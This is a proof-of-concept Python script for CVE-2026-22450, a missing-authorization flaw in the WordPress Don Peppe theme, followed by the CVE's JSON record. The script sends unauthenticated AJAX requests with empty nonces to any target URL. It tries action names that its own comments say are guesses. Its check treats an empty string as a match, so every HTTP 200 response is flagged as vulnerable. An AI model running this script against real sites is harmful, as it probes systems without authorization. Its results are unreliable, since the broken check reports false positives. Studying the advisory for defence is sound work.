CVE-2026-22450

# CVE-2026-22450 PoC - WordPress Don Peppe Theme Broken Access Control # Target: WordPress site with Don Peppe Theme <= 1.3 import requests import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2026-22450""" # Common WordPress AJAX endpoint ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Common vulnerable actions in Don Peppe theme # These are example actions - actual actions need to be identified from theme code vulnerable_actions = [ "donpeppe_save_settings", "donpeppe_update_options", "donpeppe_modify_content", "donpeppe_upload_file" ] headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-22450 - Don Peppe Theme Broken Access Control") print("-" * 60) for action in vulnerable_actions: # Test without authentication (low-privilege scenario) data = { "action": action, "nonce": "", "data": "test" } try: response = requests.post(ajax_endpoint, data=data, headers=headers, timeout=10, verify=False) # Check if request was processed (not blocked by authentication) if response.status_code == 200: # Check response for signs of successful unauthorized access if "success" in response.text.lower() or "" in response.text: print(f"[!] Potential vulnerability found with action: {action}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {action}: {e}") print("[*] No obvious vulnerability detected") print("[*] Manual code review recommended") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-22450-poc.py <target_url>") print("Example: python cve-2026-22450-poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target)

{"cve": {"id": "CVE-2026-22450", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:34.663", "lastModified": "2026-04-28T19:36:38.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Select-Themes Don Peppe donpeppe allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Don Peppe: from n/a through <= 1.3."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Select-Themes Don Peppe donpeppe permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Don Peppe: desde n/a hasta &lt;= 1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/donpeppe/vulnerability/wordpress-don-peppe-theme-1-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}